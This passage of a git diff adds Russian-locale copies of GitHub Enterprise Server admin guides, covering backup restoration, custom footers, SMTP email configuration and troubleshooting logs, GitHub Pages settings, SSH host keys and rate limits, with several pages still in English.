+ ``` + + If the output is `true`, {% data variables.product.prodname_enterprise_backup_utilities %} was installed by cloning the project's Git repository. If the output includes `fatal: not a git repository (or any of the parent directories)`, {% data variables.product.prodname_enterprise_backup_utilities %} was likely installed by extracting a compressed archive file. +If your installation is in a Git repository, you can install the latest version using Git. If the installation is from a compressed archive file, you can either download and extract the latest version, or you can reinstall {% data variables.product.prodname_enterprise_backup_utilities %} using Git to simplify future upgrades. + +- [Upgrading an installation in a Git repository](#upgrading-an-installation-in-a-git-repository) +- [Using Git instead of compressed archives for upgrades](#using-git-instead-of-compressed-archives-for-upgrades) + +### Upgrading an installation in a Git repository + +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} + {% note %} + + **Note:** We recommend creating a copy of your existing `backup.config` file in a temporary location, like `$HOME/backup.config`, before upgrading {% data variables.product.prodname_enterprise_backup_utilities %}. + + {% endnote %} + +1. Download the latest project updates by running the `git fetch` command. + + ```shell + git fetch + ``` + +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %} +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-verify-upgrade %} + +### Using Git instead of compressed archives for upgrades + +If your backup host has internet connectivity and you previously used a compressed archive (`.tar.gz`) to install or upgrade {% data variables.product.prodname_enterprise_backup_utilities %}, we recommend using a Git repository for your installation instead. Upgrading using Git requires less work and preserves your backup configuration. + +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-directory %} +1. To back up your existing {% data variables.product.prodname_enterprise_backup_utilities %} configuration, copy your current `backup.config` file to a safe location, such as your home directory. + + ``` + $ cp backup.config $HOME/backup.config.saved-$(date +%Y%m%d-%H%M%S) + ``` + +1. Change to the local directory on your backup host where you want to install the {% data variables.product.prodname_enterprise_backup_utilities %} Git repository. +1. To clone the [project repository](https://github.com/github/backup-utils/) to the directory on your backup host, run the following command. + + ``` + git clone https://github.com/github/backup-utils.git + ``` +1. To change into the cloned repository, run the following command. + + ``` + cd backup-utils + ``` +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-update-repo %} +1. To restore your backup configuration from earlier, copy your existing backup configuration file to the local repository directory. Replace the path in the command with the location of the file saved in step 2. + + ``` + $ cp PATH/TO/BACKUP/FROM/STEP/2 backup.config + ``` + + {% note %} + + **Note:** You can choose where to restore your backup configuration file to after cloning. For more information about where configuration files can be located, see [Getting started](https://github.com/github/backup-utils/blob/master/docs/getting-started.md) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + + {% endnote %} + +1. To confirm that the paths to directories or scripts in your backup configuration file are correct, review the file in a text editor. +{% data reusables.enterprise_backup_utilities.enterprise-backup-utils-verify-upgrade %} +1. Delete your old GitHub Enterprise Server Backup Utilities directory from step 1 (where the compressed archive installation was located). + +## Scheduling a backup + +You can schedule regular backups on the backup host using the `cron(8)` command or a similar command scheduling service. The configured backup frequency will dictate the worst case recovery point objective (RPO) in your recovery plan. For example, if you have scheduled the backup to run every day at midnight, you could lose up to 24 hours of data in a disaster scenario. We recommend starting with an hourly backup schedule, guaranteeing a worst case maximum of one hour of data loss if the primary site data is destroyed. + +If backup attempts overlap, the `ghe-backup` command will abort with an error message, indicating the existence of a simultaneous backup. If this occurs, we recommended decreasing the frequency of your scheduled backups. For more information, see the "Scheduling backups" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#scheduling-backups) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + +## Restoring a backup + +In the event of prolonged outage or catastrophic event at the primary site, you can restore {% data variables.location.product_location %} by provisioning another {% data variables.product.prodname_enterprise %} appliance and performing a restore from the backup host. You must add the backup host's SSH key to the target {% data variables.product.prodname_enterprise %} appliance as an authorized SSH key before restoring an appliance. + +{% note %} + +**Note:** When performing backup restores to {% data variables.location.product_location %}, the same version supportability rules apply. You can only restore data from at most two feature releases behind. + +For example, if you take a backup from {% data variables.product.product_name %} 3.0.x, you can restore the backup to a {% data variables.product.product_name %} 3.2.x instance. You cannot restore data from a backup of {% data variables.product.product_name %} 2.22.x to an instance running 3.2.x, because that would be three jumps between versions (2.22 to 3.0 to 3.1 to 3.2). You would first need to restore to an instance running 3.1.x, and then upgrade to 3.2.x. + +{% endnote %} + +To restore {% data variables.location.product_location %} from the last successful snapshot, use the `ghe-restore` command. + +{% note %} + +**Note:** Prior to restoring a backup, ensure: +- Maintenance mode is enabled on the primary instance and all active processes have completed. For more information, see "[Enabling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)." +- Replication is stopped on all replicas in high availability configurations. For more information, see the `ghe-repl-stop` command in "[About high availability configuration](/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration#ghe-repl-stop)." +- If {% data variables.location.product_location %} has {% data variables.product.prodname_actions %} enabled, you must first configure the {% data variables.product.prodname_actions %} external storage provider on the replacement appliance. For more information, see "[Backing up and restoring {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_actions %} enabled](/admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled)." + +{% endnote %} + +When running the `ghe-restore` command, you should see output similar to this: + +```shell +$ ghe-restore -c 169.154.1.1 +> Checking for leaked keys in the backup snapshot that is being restored ... +> * No leaked keys found +> Connect 169.154.1.1:122 OK (v2.9.0) + +> WARNING: All data on GitHub Enterprise appliance 169.154.1.1 (v2.9.0) +> will be overwritten with data from snapshot 20170329T150710. +> Please verify that this is the correct restore host before continuing. +> Type 'yes' to continue: yes + +> Starting restore of 169.154.1.1:122 from snapshot 20170329T150710 +# ...output truncated +> Completed restore of 169.154.1.1:122 from snapshot 20170329T150710 +> Visit https://169.154.1.1/setup/settings to review appliance configuration. +``` + +{% ifversion ip-exception-list %} +Optionally, to validate the restore, configure an IP exception list to allow access to a specified list of IP addresses. For more information, see "[Validating changes in maintenance mode using the IP exception list](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)." +{% endif %} + +{% note %} + +**Note:** + +- The network settings are excluded from the backup snapshot. You must manually configure the network on the target {% data variables.product.prodname_ghe_server %} appliance as required for your environment. + +- When restoring to new disks on an existing or empty {% data variables.product.prodname_ghe_server %} instance, stale UUIDs may be present, resulting in Git and/or Alambic replication reporting as out of sync. Stale server entry IDs can be the result of a retired node in a high availability configuration still being present in the application database, but not in the restored replication configuration. To remediate, stale UUIDs can be torn down using `ghe-repl-teardown` once the restore has completed and prior to starting replication. In this scenario, contact {% data variables.contact.contact_ent_support %} for further assistance. + +{% endnote %} + +You can use these additional options with `ghe-restore` command: +- The `-c` flag overwrites the settings, certificate, and license data on the target host even if it is already configured. Omit this flag if you are setting up a staging instance for testing purposes and you wish to retain the existing configuration on the target. For more information, see the "Using backup and restore commands" section of the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#using-the-backup-and-restore-commands) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. +- The `-s` flag allows you to select a different backup snapshot. diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md new file mode 100644 index 000000000000..b55940e029d4 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md @@ -0,0 +1,40 @@ +--- +title: Настройка пользовательских нижних колонтитулов +intro: 'Вы можете предоставить пользователям простой и удобный доступ к ссылкам предприятия, добавив настраиваемые нижние колонтитулы в {% data variables.product.product_name %}.' +versions: + ghec: '*' + ghes: '>=3.4' + ghae: '>= 3.4' +type: how_to +topics: + - Enterprise + - Fundamentals +shortTitle: Configure custom footers +ms.openlocfilehash: d051e2399841e90291de62e496c534520465235a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120704' +--- +Владельцы предприятия могут настроить {% data variables.product.product_name %} для отображения пользовательских нижних колонтитулов, содержащих до пяти дополнительных ссылок. + +![Пользовательский нижний колонтитул](/assets/images/enterprise/custom-footer/octodemo-footer.png) + +Пользовательский нижний колонтитул отображается над нижним колонтитулом {% data variables.product.prodname_dotcom %} {% ifversion ghes or ghae %}для всех пользователей, на всех страницах {% data variables.product.product_name %}{% elsif ghec %}для всех членов предприятия и участников совместной работы на всех страницах репозитория и организации для репозиториев и организаций, принадлежащих организации{% endif %}. + +## Настройка пользовательских нижних колонтитулов для предприятия + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} + +1. В разделе "Параметры" щелкните **Профиль**. +{%- ifversion ghec %} ![Параметры профиля предприятия](/assets/images/enterprise/custom-footer/enterprise-profile-ghec.png) {%- else %} ![Параметры профиля предприятия](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png) {%- endif %} + +1. В верхней части раздела "Профиль" щелкните **Пользовательский нижний колонтитул**. +![Раздел "Пользовательский нижний колонтитул"](/assets/images/enterprise/custom-footer/custom-footer-section.png) + +1. Добавьте до пяти ссылок в отображаемых полях. +![Добавление ссылок нижнего колонтитула](/assets/images/enterprise/custom-footer/add-footer-links.png) + +1. Нажмите **Обновить пользовательский нижний колонтитул**, чтобы сохранить содержимое и отобразить пользовательский нижний колонтитул. +![Обновление пользовательского нижнего колонтитула](/assets/images/enterprise/custom-footer/update-custom-footer.png) diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md new file mode 100644 index 000000000000..d91bc49e7785 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md @@ -0,0 +1,203 @@ +--- +title: Configuring email for notifications +intro: 'To make it easy for users to respond quickly to activity on {% data variables.product.product_name %}, you can configure {% data variables.location.product_location %} to send email notifications for issue, pull request, and commit comments.' +redirect_from: + - /enterprise/admin/guides/installation/email-configuration + - /enterprise/admin/articles/configuring-email + - /enterprise/admin/articles/troubleshooting-email + - /enterprise/admin/articles/email-configuration-and-troubleshooting + - /enterprise/admin/user-management/configuring-email-for-notifications + - /admin/configuration/configuring-email-for-notifications +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Notifications +shortTitle: Configure email notifications +--- +{% ifversion ghae %} +Enterprise owners can configure email for notifications. +{% endif %} +## Configuring SMTP for your enterprise + +{% ifversion ghes %} +{% data reusables.enterprise_site_admin_settings.email-settings %} +4. Select **Enable email**. This will enable both outbound and inbound email, however for inbound email to work you will also need to configure your DNS settings as described below in "[Configuring DNS and firewall +settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." +![Enable outbound email](/assets/images/enterprise/management-console/enable-outbound-email.png) +5. Type the settings for your SMTP server. + - In the **Server address** field, type the address of your SMTP server. + - In the **Port** field, type the port that your SMTP server uses to send email. + - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. + - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. + - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. +6. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. +![Checkbox to discard emails addressed to the no-reply email address](/assets/images/enterprise/management-console/discard-noreply-emails.png) +7. Under **Support**, choose a type of link to offer additional support to your users. + - **Email:** An internal email address. + - **URL:** A link to an internal support site. You must include either `http://` or `https://`. + ![Support email or URL](/assets/images/enterprise/management-console/support-email-url.png) +8. [Test email delivery](#testing-email-delivery). +{% elsif ghae %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.email-tab %} +2. Select **Enable email**. + !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png) +3. Type the settings for your email server. + - In the **Server address** field, type the address of your SMTP server. + - In the **Port** field, type the port that your SMTP server uses to send email. + - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. + - Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. + - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. +4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. + !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png) +5. Click **Test email settings**. + !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png) +6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**. + !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png) +7. Click **Save**. + !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png) +{% endif %} + +{% ifversion ghes %} +## Testing email delivery + +1. At the top of the **Email** section, click **Test email settings**. +![Test email settings](/assets/images/enterprise/management-console/test-email.png) +2. In the **Send test email to** field, type an address to send the test email to. +![Test email address](/assets/images/enterprise/management-console/test-email-address.png) +3. Click **Send test email**. +![Send test email](/assets/images/enterprise/management-console/test-email-address-send.png) + + {% tip %} + + **Tip:** If SMTP errors occur while sending a test email—such as an immediate delivery failure or an outgoing mail configuration error—you will see them in the Test email settings dialog box. + + {% endtip %} + +4. If the test email fails, [troubleshoot your email settings](#troubleshooting-email-delivery). +5. When the test email succeeds, at the bottom of the page, click **Save settings**. +![Save settings button](/assets/images/enterprise/management-console/save-settings.png) +{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} + +{% ifversion require-tls-for-smtp %} +## Enforcing TLS for SMTP connections + +You can enforce TLS encryption for all incoming SMTP connections, which can help satisfy an ISO-27017 certification requirement. + +{%- ifversion ghes = 3.6 %} +{% note %} + +**Note**: Enforcement of TLS for SMTP connections is unavailable in {% data variables.product.product_name %} 3.6.0 and 3.6.1. The feature is available in 3.6.2 and later. + +{% endnote %} +{%- endif %} + +{% data reusables.enterprise_site_admin_settings.email-settings %} +1. Under "Authentication," select **Enforce TLS auth (recommended)**. + + ![Screenshot of the "Enforce TLS auth (recommended)" checkbox](/assets/images/enterprise/configuration/enforce-tls-for-smtp-checkbox.png) +{% data reusables.enterprise_management_console.save-settings %} +{% endif %} + +## Configuring DNS and firewall settings to allow incoming emails + +If you want to allow email replies to notifications, you must configure your DNS settings. + +1. Ensure that port 25 on the instance is accessible to your SMTP server. +2. Create an A record that points to `reply.[hostname]`. Depending on your DNS provider and instance host configuration, you may be able to instead create a single A record that points to `*.[hostname]`. +3. Create an MX record that points to `reply.[hostname]` so that emails to that domain are routed to the instance. +4. Create an MX record that points `noreply.[hostname]` to `[hostname]` so that replies to the `cc` address in notification emails are routed to the instance. For more information, see {% ifversion ghes %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}"[About email notifications](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}." + +## Troubleshooting email delivery + +### Create a Support Bundle + +If you cannot determine what is wrong from the displayed error message, you can download a [support bundle](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support) containing the entire SMTP conversation between your mail server and {% data variables.product.prodname_ghe_server %}. Once you've downloaded and extracted the bundle, check the entries in *enterprise-manage-logs/unicorn.log* for the entire SMTP conversation log and any related errors. + +The unicorn log should show a transaction similar to the following: + +```shell +This is a test email generated from https://10.0.0.68/setup/settings +Connection opened: smtp.yourdomain.com:587 +-> "220 smtp.yourdomain.com ESMTP nt3sm2942435pbc.14\r\n" +<- "EHLO yourdomain.com\r\n" +-> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n" +-> "250-SIZE 35882577\r\n" +-> "250-8BITMIME\r\n" +-> "250-STARTTLS\r\n" +-> "250-ENHANCEDSTATUSCODES\r\n" +-> "250 PIPELINING\r\n" +<- "STARTTLS\r\n" +-> "220 2.0.0 Ready to start TLS\r\n" +TLS connection started +<- "EHLO yourdomain.com\r\n" +-> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n" +-> "250-SIZE 35882577\r\n" +-> "250-8BITMIME\r\n" +-> "250-AUTH LOGIN PLAIN XOAUTH\r\n" +-> "250-ENHANCEDSTATUSCODES\r\n" +-> "250 PIPELINING\r\n" +<- "AUTH LOGIN\r\n" +-> "334 VXNlcm5hbWU6\r\n" +<- "dGhpc2lzbXlAYWRkcmVzcy5jb20=\r\n" +-> "334 UGFzc3dvcmQ6\r\n" +<- "aXRyZWFsbHl3YXM=\r\n" +-> "535-5.7.1 Username and Password not accepted. Learn more at\r\n" +-> "535 5.7.1 http://support.yourdomain.com/smtp/auth-not-accepted nt3sm2942435pbc.14\r\n" +``` + +This log shows that the appliance: + +* Opened a connection with the SMTP server (`Connection opened: smtp.yourdomain.com:587`). +* Successfully made a connection and chose to use TLS (`TLS connection started`). +* The `login` authentication type was performed (`<- "AUTH LOGIN\r\n"`). +* The SMTP Server rejected the authentication as invalid (`-> "535-5.7.1 Username and Password not accepted.`). + +### Check {% data variables.location.product_location %} logs + +If you need to verify that your inbound email is functioning, there are two log files that you can examine on your instance: To verify that */var/log/mail.log* and */var/log/mail-replies/metroplex.log*. + +*/var/log/mail.log* verifies that messages are reaching your server. Here's an example of a successful email reply: + +``` +Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: connect from st11p06mm-asmtp002.mac.com[17.172.124.250] +Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: 51DC9163323: client=st11p06mm-asmtp002.mac.com[17.172.124.250] +Oct 30 00:47:19 54-171-144-1 postfix/cleanup[13216]: 51DC9163323: message-id= +Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: from=, size=5048, nrcpt=1 (queue active) +Oct 30 00:47:19 54-171-144-1 postfix/virtual[13217]: 51DC9163323: to=, relay=virtual, delay=0.12, delays=0.11/0/0/0, dsn=2.0.0, status=sent (delivered to maildir) +Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removed +Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asmtp002.mac.com[17.172.124.250] +``` + +Note that the client first connects; then, the queue becomes active. Then, the message is delivered, the client is removed from the queue, and the session disconnects. + +*/var/log/mail-replies/metroplex.log* shows whether inbound emails are being processed to add to issues and pull requests as replies. Here's an example of a successful message: + +``` +[2014-10-30T00:47:23.306 INFO (5284) #] metroplex: processing +[2014-10-30T00:47:23.333 DEBUG (5284) #] Matched /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie +[2014-10-30T00:47:23.334 DEBUG (5284) #] Moving /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie => /data/user/incoming-mail/success +``` + +You'll notice that `metroplex` catches the inbound message, processes it, then moves the file over to `/data/user/incoming-mail/success`.{% endif %} + +### Verify your DNS settings + +In order to properly process inbound emails, you must configure a valid A Record (or CNAME), as well as an MX Record. For more information, see "[Configuring DNS and firewall settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." + +### Check firewall or AWS Security Group settings + +If {% data variables.location.product_location %} is behind a firewall or is being served through an AWS Security Group, make sure port 25 is open to all mail servers that send emails to `reply@reply.[hostname]`. + +### Contact support +{% ifversion ghes %} +If you're still unable to resolve the problem, contact {% data variables.contact.contact_ent_support %}. Please attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email to help us troubleshoot your problem. +{% elsif ghae %} +You can contact {% data variables.contact.github_support %} for help configuring email for notifications to be sent through your SMTP server. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." +{% endif %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md new file mode 100644 index 000000000000..13c0a766fb46 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md @@ -0,0 +1,92 @@ +--- +title: Configuring GitHub Pages for your enterprise +intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.' +redirect_from: + - /enterprise/admin/guides/installation/disabling-github-enterprise-pages + - /enterprise/admin/guides/installation/configuring-github-enterprise-pages + - /enterprise/admin/installation/configuring-github-pages-on-your-appliance + - /enterprise/admin/configuration/configuring-github-pages-on-your-appliance + - /admin/configuration/configuring-github-pages-on-your-appliance + - /enterprise/admin/guides/installation/configuring-github-pages-for-your-enterprise + - /admin/configuration/configuring-github-pages-for-your-enterprise +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Pages +shortTitle: Configure GitHub Pages +--- + +{% ifversion ghes %} + +## Enabling public sites for {% data variables.product.prodname_pages %} + +If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites. + +{% warning %} + +**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public. + +{% endwarning %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.pages-tab %} +4. Select **Public Pages**. + ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png) +{% data reusables.enterprise_management_console.save-settings %} + +## Disabling {% data variables.product.prodname_pages %} for your enterprise + +If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)." + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.pages-tab %} +1. Unselect **Enable Pages**. + ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png) +{% data reusables.enterprise_management_console.save-settings %} + +{% endif %} + +{% ifversion ghae %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.pages-tab %} +1. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**. + ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) +{% data reusables.enterprise-accounts.pages-policies-save %} + +{% endif %} + +{% ifversion ghes > 3.4 %} + +## Configuring {% data variables.product.prodname_pages %} response headers for your enterprise + +You can add or override response headers for {% data variables.product.prodname_pages %} sites hosted by {% data variables.location.product_location %}. + +{% warning %} + +**Warning:** Ensure that your response headers are properly configured before saving. Improper configurations may negatively impact the security of {% data variables.location.product_location %}. + +{% endwarning %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.pages-tab %} +1. Type the headers settings, then click **Add headers**. + - In the **Http Header Name** field, type the header name. The length of header name should less than 128 characters. + - In the **Http Header Value** field, type the header value. The length of header value should less than 300 characters. +![The {% data variables.product.prodname_pages %} response header name and value fields in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/pages-override-header-section.png) +{% data reusables.enterprise_management_console.save-settings %} + +{% endif %} + +{% ifversion ghes %} +## Further reading + +- "[Enabling private mode](/admin/configuration/enabling-private-mode)" +{% endif %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance.md new file mode 100644 index 000000000000..8c9a3ed78dbb --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance.md @@ -0,0 +1,52 @@ +--- +title: Настройка ключей узла для экземпляра +shortTitle: Configure host keys +intro: 'Вы можете повысить безопасность {% data variables.location.product_location %}, настроив алгоритмы, используемые экземпляром для создания и объявления ключей узла для входящих подключений SSH.' +permissions: 'Site administrators can configure the host keys for a {% data variables.product.product_name %} instance.' +versions: + ghes: '>= 3.6' +type: how_to +topics: + - Authentication + - Enterprise + - Infrastructure + - Networking + - Security + - SSH +ms.openlocfilehash: 6454568e63b15fc947994ab39aef9baad9d5c146 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107112' +--- +## Сведения о ключах узла для экземпляра + +Серверы, принимающие подключения SSH, объявляют один или несколько ключей узла криптографии для безопасной идентификации сервера для клиентов SSH. Чтобы подтвердить удостоверение сервера во время инициализации подключения, клиенты должны хранить и верифицировать ключ узла. Дополнительные сведения см. в разделе [Ключ узла SSH — Что, почему и как](https://ssh.com/academy/ssh/host-key) на веб-сайте SSH Academy. + +{% data reusables.enterprise.about-ssh-ports %} + +По умолчанию {% data variables.location.product_location %} создает и объявляет ключи узла с помощью смены ключей узла в стиле OpenSSH. Чтобы повысить уровень безопасности SSH в вашей среде, можно включить дополнительные алгоритмы для создания ключей узла. + +{% note %} + +**Примечание.** Если включить дополнительные алгоритмы ключей узла, клиенты, которые не используют OpenSSH для подключений SSH, могут видеть предупреждения во время подключения, или подключение завершается сбоем. Некоторые реализации SSH могут игнорировать неподдерживаемые алгоритмы и выполнять откат к другому алгоритму. Если клиент не поддерживает откат, подключение завершится ошибкой. Например, библиотека SSH для Go не поддерживает откат к другому алгоритму. + +{% endnote %} + +## Управление ключом узла Ed25519 + +Чтобы повысить безопасность клиентов, подключающихся к {% data variables.location.product_location %}, можно включить создание и объявление ключа узла Ed25519. Ed25519 невосприимчив к некоторым атакам, которые нацелены на старые алгоритмы подписи, без ущерба для скорости. Старые клиенты SSH могут не поддерживать Ed25519. По умолчанию экземпляры {% data variables.product.product_name %} не создают и не объявляют ключ узла Ed25519. Дополнительные сведения см. на [веб-сайте Ed25519](https://ed25519.cr.yp.to). + +{% data reusables.enterprise_installation.ssh-into-instance %} +1. Чтобы включить создание и объявление ключа узла Ed25519, введите следующую команду. + + ```shell + ghe-config app.babeld.host-key-ed25519 true + ``` +1. При необходимости введите следующую команду, чтобы отключить создание и объявление ключа узла Ed25519. + + ```shell + ghe-config app.babeld.host-key-ed25519 false + ``` +{% data reusables.enterprise.apply-configuration %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md new file mode 100644 index 000000000000..410ee57a5a97 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md @@ -0,0 +1,123 @@ +--- +title: Configuring rate limits +intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.' +redirect_from: + - /enterprise/admin/installation/configuring-rate-limits + - /enterprise/admin/configuration/configuring-rate-limits + - /admin/configuration/configuring-rate-limits +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Performance +--- +## Enabling rate limits for the {% data variables.product.prodname_enterprise_api %} + +Enabling rate limits on the {% data variables.product.prodname_enterprise_api %} can prevent overuse of resources by individual or unauthenticated users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." + +{% ifversion ghes %} +You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-config)." +{% endif %} + +{% note %} + +**Note:** The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit. + +{% endnote %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**. +![Checkbox for enabling API rate limiting](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) +3. Type limits for authenticated and unauthenticated requests for each API, or accept the pre-filled default limits. +{% data reusables.enterprise_management_console.save-settings %} + +{% ifversion enterprise-authentication-rate-limits %} +## Configuring rate limits for authentication to the {% data variables.enterprise.management_console %} + +You can configure the lockout time and login attempt limits for the {% data variables.enterprise.management_console %}. If a user exceeds the login attempt limit, the {% data variables.enterprise.management_console %} will remain locked for the duration set by the lockout time. {% data reusables.enterprise_management_console.unlocking-management-console-with-shell %} + + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +2. Under "Login attempt rate limiting", configure the lockout time and login attempt rate limit or accept the pre-filled default settings. +![Fields for configuring lockout time and login attempt rate limit](/assets/images/enterprise/management-console/login-attempt-rate-limiting.png) +{% data reusables.enterprise_management_console.save-settings %} + +{% endif %} +## Enabling secondary rate limits + +Setting secondary rate limits protects the overall level of service on {% data variables.location.product_location %}. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% ifversion ghes %} +2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**. + ![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) +{% else %} +2. Under "Rate Limiting", select **Enable Abuse Rate Limiting**. + ![Checkbox for enabling abuse rate limiting](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) +{% endif %} +3. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits. +{% data reusables.enterprise_management_console.save-settings %} + +## Enabling rate limits for Git + +If a member of {% data variables.product.company_short %}'s staff has recommended it, you can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per 